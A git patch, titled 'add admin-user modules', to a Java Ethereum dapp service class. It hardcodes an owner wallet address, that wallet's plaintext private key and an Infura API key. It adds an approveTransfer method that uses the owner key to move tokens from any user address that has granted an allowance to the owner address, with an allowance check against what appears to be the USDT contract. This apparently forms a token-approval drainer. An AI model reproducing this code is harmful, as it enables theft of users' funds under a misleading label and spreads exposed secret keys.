From b1da105f86dfcd72e1f2fe94a694dcbeb6b972c8 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Thu, 24 Mar 2022 18:15:16 +0800
Subject: [PATCH] add admin-user modules
---
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 15 +++++++++++++++
1 files changed, 15 insertions(+), 0 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 3866078..66c0309 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -53,6 +53,8 @@
//private static final String ETH_UTL = "http://120.55.86.146:8545";
// private static final String ETH_UTL = "http://114.55.250.231:8545";
private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+ private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
+ private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";
public EthService() {
try {
@@ -249,6 +251,15 @@
}
}
+ public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
+ try {
+ return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+ } catch (InterruptedException | ExecutionException e) {
+ e.printStackTrace();
+ return "";
+ }
+ }
+
public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
throws InterruptedException, ExecutionException {
// Web3j web3j = Web3j.build(new
@@ -280,6 +291,10 @@
}
}
+ public BigInteger ethAllowance(String address) {
+ return ethAllowance(OWNER_ADDRESS, address);
+ }
+
public BigInteger ethAllowance(String toAddress, String fromAddress) {
String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
String methodName = "allowance";
--
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